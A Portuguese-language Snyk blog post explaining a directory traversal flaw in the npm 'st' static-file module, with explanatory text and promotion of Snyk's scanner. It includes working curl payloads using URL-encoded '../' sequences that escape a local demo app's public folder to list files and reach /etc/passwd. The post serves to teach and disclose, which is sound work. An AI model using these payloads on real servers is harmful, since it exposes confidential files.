Skip to main content

Invadindo com Snyk: exploração de vulnerabilidade de traversal de diretório no pacote st

Escrito por
Snyking in small

25 de fevereiro de 2019

0 minutos de leitura

Boas-vindas à primeira edição de uma nova série sobre exploração de vulnerabilidades, que estamos chamando de “Snyking In”! Vamos analisar diferentes vulnerabilidades de segurança, mostrar como elas podem ser exploradas e explicar os riscos potenciais para seus dados e sistemas. Nossos exemplos sempre envolvem bibliotecas reais que apresentam esse tipo de vulnerabilidade em pelo menos uma de suas versões lançadas.

Ah, e não se preocupe: não vamos deixar você na mão! Também vamos mostrar como encontrar e corrigir vulnerabilidades na sua aplicação. Sem mais delongas, confira nosso primeiro vídeo de exploração e, em seguida, saiba mais sobre a vulnerabilidade de traversal de diretório.

Traversal de diretório

Um ataque de traversal de diretório (também conhecido como traversal de caminho) tenta acessar arquivos e diretórios armazenados fora da pasta prevista. Ao manipular arquivos com sequências "ponto-ponto-barra (../)" e suas variações, ou usar caminhos absolutos, pode ser possível acessar arquivos e diretórios arbitrários no sistema de arquivos, incluindo o código-fonte da aplicação, arquivos de configuração e outros arquivos críticos do sistema.

Em geral, as vulnerabilidades de traversal de diretório podem ser divididas em dois tipos:

Exposição de informações: permite que o invasor obtenha informações sobre a estrutura de pastas ou leia o conteúdo de arquivos confidenciais armazenados no sistema.

Gravação de arquivos arbitrários: permite que o invasor crie ou substitua arquivos existentes. Esse tipo de vulnerabilidade também é conhecido como Zip Slip.

Traversal de diretório no st

O módulo st disponibiliza arquivos estáticos em páginas da web e contém uma vulnerabilidade desse tipo. Neste exemplo, disponibilizamos arquivos pela rota pública.

Se um invasor solicitar a seguinte URL ao nosso servidor, as informações confidenciais armazenadas nessa máquina serão expostas. Observe que %2e é a versão codificada para URL de . (ponto).

curl http://localhost:3001/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd 

Esse tipo de traversal de diretório é uma vulnerabilidade de exposição de informações, ou seja, permite que o invasor leia o conteúdo de arquivos confidenciais. O dano se limita às informações que o invasor consegue acessar no sistema.

A exploração da vulnerabilidade no st

No vídeo acima, o ataque é feito em uma janela de terminal, pois o navegador normalizaria a entrada. A primeira tentativa de exploração usa a notação ponto-ponto-barra para sair do diretório público:

curl http://localhost:3001/public/../

No entanto, a biblioteca st leva a segurança a sério. Ela se protege contra o traversal de diretório com ponto-ponto-barra. Porém, como mencionamos antes, ao codificar o ponto para URL, o comando a seguir explora a vulnerabilidade com sucesso:

curl http://localhost:3001/public/%2e%2e/

A saída mostra que agora temos acesso ao arquivo package-lock.json, entre outros. Isso nos permite identificar os outros módulos e as respectivas versões usados pela aplicação. Também podemos explorar o sistema de arquivos em busca de informações ainda mais confidenciais, como fazemos no vídeo, expondo o arquivo /etc/passwd.

<!doctype html>Index of<!doctype html>
../  
exploits/ 2018-11-22T11:36:32.894Z -  
goof/ 2018-06-19T12:09:39.211Z -  
node_modules/ 2019-02-21T11:51:45.792Z -  
public/ 2018-06-19T12:09:03.003Z -  
routes/ 2018-06-19T12:09:03.003Z -  
views/ 2018-06-19T12:09:03.004Z -  
app.js 2018-06-19T12:09:02.997Z 2152  
app.json 2018-06-19T12:09:02.997Z 267  
db.js 2018-06-19T12:09:02.997Z 1157  
GoofApp.zip 2018-09-11T07:21:58.433Z 14138285  
package-lock.json 2019-02-21T11:51:46.183Z 186799  
package.json 2018-11-06T18:59:57.850Z 1207  
README.md 2018-06-19T12:09:02.996Z 1815  
utils.js 2018-06-19T12:09:03.003Z 641

Para testar sua aplicação em busca de vulnerabilidades em bibliotecas de terceiros, como st, experimente o Snyk gratuitamente e receba resultados na hora.

Comece a jogar Capture the Flag

Aprenda a resolver desafios de Capture the Flag assistindo sob demanda ao nosso workshop virtual introdutório.

Leia mais

blog feature ai lilac
Blog

Transforme seu backlog de vulnerabilidades em pull requests com remediação agentiva

O Evo Remediation Agent está em Open Preview e traz a resolução automatizada de dependências para o Evo Agentic AppSec. Agora, as equipes de AppSec podem executar campanhas contínuas de remediação

illustration hero ai
Blog

PHP corrige duas vulnerabilidades críticas de RCE sem autenticação (CVE-2026-109618, CVE-2026-109619): atualize agora

Duas falhas críticas no ciclo de requisições do PHP podem permitir execução remota de código sem autenticação. Atualize para uma versão corrigida ou instale um backport do fornecedor para versões mais antigas.

AI Background min crop
Blog

A IA está acionando todos os riscos que você aceitou: sete insights do painel de segurança de IA sem filtros

A IA está tornando os ataques mais baratos e rápidos, expondo riscos que as organizações já carregam. Quatro líderes de segurança explicam por que a defesa na velocidade das máquinas e a correção mais rápida são essenciais.